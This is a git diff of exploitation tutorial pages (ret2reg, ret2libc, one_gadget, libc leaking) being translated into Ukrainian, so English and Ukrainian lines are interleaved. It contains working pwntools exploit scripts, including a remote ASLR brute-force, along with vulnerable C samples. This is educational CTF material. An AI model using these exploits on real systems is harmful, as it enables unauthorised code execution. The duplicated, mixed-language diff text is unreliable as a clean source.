Ви можете побачити ще один приклад цієї техніки в [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Існує переповнення буфера без увімкненого NX, використовується гаджет для **зменшення адреси `$esp`** і потім `jmp esp;` для переходу до shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
Аналогічно, якщо ми знаємо, що функція повертає адресу, де зберігається shellcode, ми можемо використовувати інструкції **`call eax`** або **`jmp eax`** (відомі як техніка **ret2eax**), що пропонує ще один спосіб виконати наш shellcode. Так само, як eax, **будь-який інший регістр**, що містить цікаву адресу, може бути використаний (**ret2reg**).
### Example
### Приклад
You can find some examples here:&#x20;
Ви можете знайти деякі приклади тут:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** зберігатиме в **`eax`** адресу буфера, де зберігався shellcode, і **`eax`** не перезаписується, тому можливо використовувати `ret2eax`.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
В ARM64 **немає** інструкцій, які дозволяють **перейти до регістру SP**. Можливо, можна знайти гаджет, який **переміщує sp до регістру, а потім переходить до цього регістру**, але в libc моєї kali я не зміг знайти жодного такого гаджета:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Єдині, які я виявив, змінювали значення реєстру, куди sp було скопійовано перед переходом до нього (тому він ставав марним):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
Якщо реєстр має цікаву адресу, можна перейти до нього, просто знайшовши відповідну інструкцію. Ви можете використати щось на кшталт:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
В ARM64 **`x0`** зберігає значення, яке повертає функція, тому можливо, що x0 зберігає адресу буфера, контрольованого користувачем, з shellcode для виконання.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
Приклад коду:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
Перевіряючи дизасемблювання функції, можна побачити, що **адреса буфера** (вразливого до bof і **контрольованого користувачем**) **зберігається в `x0`** перед поверненням з переповнення буфера:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Також можна знайти гаджет **`br x0`** у функції **`do_stuff`**:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Ми використаємо цей гаджет, щоб стрибнути до нього, оскільки бінарний файл скомпільований **БЕЗ PIE.** Використовуючи патерн, можна побачити, що **зсув переповнення буфера становить 80**, тому експлойт буде:
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> Якщо замість `fgets` використовувалося б щось на кшталт **`read`**, можна було б обійти PIE, **перезаписавши лише останні 2 байти адреси повернення**, щоб повернутися до інструкції `br x0;` без необхідності знати повну адресу.\
> З `fgets` це не працює, оскільки **додає нульовий (0x00) байт в кінець**.
## Protections
## Захист
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Якщо стек не є виконуваним, це не допоможе, оскільки нам потрібно помістити shellcode в стек і перейти до його виконання.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Це може ускладнити пошук інструкції для переходу до esp або будь-якого іншого регістру.
## References
## Посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,94 +2,82 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Основна інформація**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
Суть **Ret2Libc** полягає в перенаправленні потоку виконання вразливої програми на функцію в загальній бібліотеці (наприклад, **system**, **execve**, **strcpy**) замість виконання шкідливого коду, наданого атакуючим, в стеку. Атакуючий створює корисне навантаження, яке змінює адресу повернення в стеці, щоб вказати на потрібну функцію бібліотеки, одночасно забезпечуючи правильну настройку будь-яких необхідних аргументів відповідно до конвенції виклику.
### **Example Steps (simplified)**
### **Приклад кроків (спрощено)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Отримати адресу функції для виклику (наприклад, system) та команду для виклику (наприклад, /bin/sh)
- Згенерувати ланцюг ROP для передачі першого аргументу, що вказує на рядок команди, та потоку виконання до функції
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Знаходження адрес
- Припустимо, що `libc`, яка використовується, є тією, що на поточній машині, ви можете знайти, де вона буде завантажена в пам'ять за допомогою:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
Якщо ви хочете перевірити, чи змінює ASLR адресу libc, ви можете зробити:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- Знаючи використану libc, також можливо знайти зсув до функції `system` за допомогою:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- Знаючи використовувану libc, також можливо знайти зсув до рядка `/bin/sh` функції за допомогою:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Використання gdb-peda / GEF
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
Знаючи використовувану libc, також можливо використовувати Peda або GEF для отримання адреси функції **system**, функції **exit** та рядка **`/bin/sh`** :
```bash
p system
p exit
find "/bin/sh"
```
### Використання /proc/\<PID>/maps
### Using /proc/\<PID>/maps
Якщо процес створює **дочірні** процеси щоразу, коли ви з ним спілкуєтеся (мережевий сервер), спробуйте **прочитати** цей файл (можливо, вам потрібно буде бути root).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Тут ви можете знайти **точно де завантажено libc** всередині процесу і **де воно буде завантажено** для кожного дочірнього процесу.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
У цьому випадку воно завантажено в **0xb75dc000** (Це буде базова адреса libc)
## Unknown libc
## Невідома libc
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Можливо, ви **не знаєте, яку libc завантажує бінарник** (оскільки вона може бути розташована на сервері, до якого у вас немає доступу). У такому випадку ви можете зловживати вразливістю, щоб **витягнути деякі адреси і дізнатися, яка бібліотека libc** використовується:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
І ви можете знайти шаблон pwntools для цього в:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### Дізнатися libc з 2 зсувами
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
Перевірте сторінку [https://libc.blukat.me/](https://libc.blukat.me/) і використовуйте **кілька адрес** функцій всередині libc, щоб дізнатися **використовувану версію**.
## Bypassing ASLR in 32 bits
## Обхід ASLR на 32 біт
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Ці атаки методом перебору **корисні лише для 32-бітних систем**.
- Якщо експлойт локальний, ви можете спробувати методом перебору знайти базову адресу libc (корисно для 32-бітних систем):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Якщо ви атакуєте віддалений сервер, ви можете спробувати **перебрати адресу функції `libc` `usleep`**, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент **сервер відповідає на 10 секунд довше**, ви знайшли адресу цієї функції.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Виконайте оболонку, просто стрибнувши на **одну** конкретну **адресу** в libc:
{{#ref}}
one-gadget.md
@ -97,8 +85,7 @@ one-gadget.md
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
У цьому прикладі перебір ASLR інтегровано в код, а вразливий бінарний файл розташований на віддаленому сервері:
```python
from pwn import *
@ -106,18 +93,17 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Code Example
Check the example from:
Перевірте приклад з:
{{#ref}}
../
@ -125,11 +111,11 @@ Check the example from:
## ARM64 Ret2lib Example
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
У випадку ARM64, інструкція ret переходить туди, куди вказує реєстр x30, а не туди, куди вказує стековий реєстр. Тому це трохи складніше.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Також в ARM64 інструкція виконує те, що вона виконує (неможливо перейти в середині інструкцій і перетворити їх на нові).
Check the example from:
Перевірте приклад з:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
@ -137,11 +123,11 @@ ret2lib-+-printf-leak-arm64.md
## Ret-into-printf (or puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Це дозволяє **витікати інформацію з процесу** шляхом виклику `printf`/`puts` з деякими специфічними даними, розміщеними як аргумент. Наприклад, якщо помістити адресу `puts` у GOT під час виконання `puts`, це **викриє адресу `puts` в пам'яті**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Це в основному означає зловживання **Ret2lib, щоб перетворити його на вразливість форматних рядків `printf`** за допомогою `ret2lib`, щоб викликати printf з значеннями для експлуатації (звучить безглуздо, але можливо):
{{#ref}}
../../format-strings/
@ -150,16 +136,16 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format
## Other Examples & references
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, надано витік адреси функції в libc, використовуючи один гаджет
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 біти, ASLR увімкнено, але без PIE, перший крок - заповнити переповнення до байта 0x00 канарки, щоб потім викликати puts і витікати його. З канаркою створюється ROP гаджет для виклику puts, щоб витікати адресу puts з GOT, а потім ROP гаджет для виклику `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 біти, ASLR увімкнено, без канарки, переповнення стека в main з дочірньої функції. ROP гаджет для виклику puts, щоб витікати адресу puts з GOT, а потім виклик одного гаджета.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 біти, без pie, без канарки, без relro, nx. Використовує функцію write, щоб витікати адресу write (libc) і викликає один гаджет.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Використовує форматний рядок, щоб витікати канарку зі стека, і переповнення буфера, щоб викликати system (вона в GOT) з адресою `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 біти, без relro, без канарки, nx, pie. Зловживає поганим індексуванням, щоб витікати адреси libc і heap зі стека. Зловживає переповненням буфера, щоб зробити ret2lib, викликаючи `system('/bin/sh')` (адреса heap потрібна для обходу перевірки).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget) дозволяє отримати shell замість використання **system** та **"/bin/sh". One Gadget** знайде в бібліотеці libc спосіб отримати shell (`execve("/bin/sh")`), використовуючи лише одну **адресу**.\
Однак, зазвичай є деякі обмеження, найпоширеніші з яких і легко уникнути - це `[rsp+0x30] == NULL`. Оскільки ви контролюєте значення всередині **RSP**, вам просто потрібно надіслати ще кілька NULL значень, щоб уникнути обмеження.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Щоб до адреси, вказаної One Gadget, потрібно **додати базову адресу, де завантажено `libc`**.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget є **чудовою допомогою для технік Arbitrary Write 2 Exec** і може **спростити ROP** **ланцюги**, оскільки вам потрібно лише викликати одну адресу (і виконати вимоги).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
Репозиторій github згадує, що **ARM64 підтримується** інструментом, але при його запуску в libc Kali 2023.3 **він не знаходить жодного гаджета**.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try!
З [**репозиторію github**](https://github.com/ChrisTheCoolHut/angry_gadget): Натхненний [OneGadget](https://github.com/david942j/one_gadget), цей інструмент написаний на python і використовує [angr](https://github.com/angr/angr) для перевірки обмежень для гаджетів, що виконують `execve('/bin/sh', NULL, NULL)`\
Якщо у вас закінчилися гаджети для спроб з OneGadget, Angry Gadget пропонує набагато більше з ускладненими обмеженнями для спроб!
```bash
pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR)
## Ret2lib - обхід NX з ROP (без ASLR)
```c
#include <stdio.h>
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile without canary:
Скомпілювати без канарки:
```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
### Знайти зсув
### Find offset
### зсув x30
### x30 offset
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
Створюючи шаблон з **`pattern create 200`**, використовуючи його та перевіряючи зсув за допомогою **`pattern search $x30`**, ми можемо побачити, що зсув становить **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**:
Поглянувши на дизасембльовану основну функцію, ми можемо побачити, що ми хочемо **перейти** до інструкції, щоб перейти до **`printf`** безпосередньо, зсув від місця, де завантажується бінарник, становить **`0x860`**:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string
### Знайти системи та рядок `/bin/sh`
As the ASLR is disabled, the addresses are going to be always the same:
Оскільки ASLR вимкнено, адреси завжди будуть однаковими:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets
### Знайти гаджети
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper an interesting gadget was found:
Нам потрібно мати в **`x0`** адресу до рядка **`/bin/sh`** та викликати **`system`**.
Використовуючи rooper, був знайдений цікавий гаджет:
```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
```
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Цей гаджет завантажить `x0` з **`$sp + 0x18`** і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Таким чином, з цим гаджетом ми можемо **контролювати перший аргумент і потім стрибнути до system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Ret2main
stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive()
p.close()
```
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
## Ret2lib - обхід NX, ASL та PIE з витоками printf зі стеку
```c
#include <stdio.h>
void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}
void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}
void main()
{
printfleak();
bof();
printfleak();
bof();
}
```
Compile **without canary**:
Скомпілювати **без канарки**:
```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security
```
### PIE та ASLR, але без канарки
### PIE and ASLR but no canary
- Раунд 1:
- Витік PIE зі стеку
- Зловживання bof, щоб повернутися до main
- Раунд 2:
- Витік libc зі стеку
- ROP: ret2system
- Round 1:
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Витоки Printf
### Printf leaks
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
Встановлюючи точку зупинки перед викликом printf, можна побачити, що в стеку є адреси для повернення до бінарного файлу, а також адреси libc:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address:
Спробувавши різні зсуви, **`%21$p`** може витікати адресу бінарного файлу (обхід PIE), а **`%25$p`** може витікати адресу libc:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
Віднімаючи витікну адресу libc від базової адреси libc, можна побачити, що **зсув** витікненої адреси від бази становить `0x49c40`.
### x30 offset
### Зсув x30
See the previous example as the bof is the same.
Дивіться попередній приклад, оскільки bof той же.
### Find Gadgets
### Знайти гаджети
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
Using rooper another interesting gadget was found:
Як у попередньому прикладі, нам потрібно мати в **`x0`** адресу рядка **`/bin/sh`** і викликати **`system`**.
Використовуючи rooper, було знайдено ще один цікавий гаджет:
```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
```
This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
Цей гаджет завантажить `x0` з **`$sp + 0x78`** і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Таким чином, з цим гаджетом ми можемо **контролювати перший аргумент і потім стрибнути до system**.
### Exploit
```python
from pwn import *
from time import sleep
@ -172,15 +157,15 @@ p = process('./rop') # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
p.recv()
p.sendline(payload)
# Get main address
main_address = leak_printf(b"%21$p", True)
@ -213,5 +198,4 @@ p.sendline(payload)
p.interactive()
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# Leaking libc address with ROP
# Витік адреси libc з ROP
{{#include ../../../../banners/hacktricks-training.md}}
## Quick Resume
## Швидкий огляд
1. **Find** overflow **offset**
2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
4. With the library, **calculate the ROP and exploit it**
1. **Знайти** переповнення **зсув**
2. **Знайти** гаджет `POP_RDI`, гаджети `PUTS_PLT` та `MAIN`
3. Використати попередні гаджети для **витоку адреси пам'яті** функції puts або іншої функції libc та **знайти версію libc** ([завантажити](https://libc.blukat.me))
4. З бібліотекою, **обчислити ROP та експлуатувати його**
## Other tutorials and binaries to practice
## Інші посібники та бінарники для практики
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Цей посібник буде експлуатувати код/бінарник, запропонований у цьому посібнику: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Інші корисні посібники: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Code
Filename: `vuln.c`
## Код
Ім'я файлу: `vuln.c`
```c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
return 0;
}
```
```bash
gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
## ROP - Leaking LIBC template
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
Завантажте експлойт і помістіть його в ту ж директорію, що й вразливий бінарний файл, і надайте необхідні дані скрипту:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## 1- Finding the offset
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
## 1- Знаходження зсуву
Шаблон потребує зсуву перед продовженням експлойту. Якщо будь-який зсув надано, він виконає необхідний код для його знаходження (за замовчуванням `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
**Виконайте** `python template.py`, у консолі GDB відкриється програма, яка зазнала збою. Всередині цієї **консолі GDB** виконайте `x/wx $rsp`, щоб отримати **байти**, які збиралися перезаписати RIP. Нарешті, отримайте **зсув** за допомогою консолі **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../../images/image (1007).png>)
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
Після знаходження зсуву (в цьому випадку 40) змініть змінну OFFSET всередині шаблону, використовуючи це значення.\
`OFFSET = "A" * 40`
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
Інший спосіб - використовувати: `pattern create 1000` -- _виконати до ret_ -- `pattern seach $rsp` з GEF.
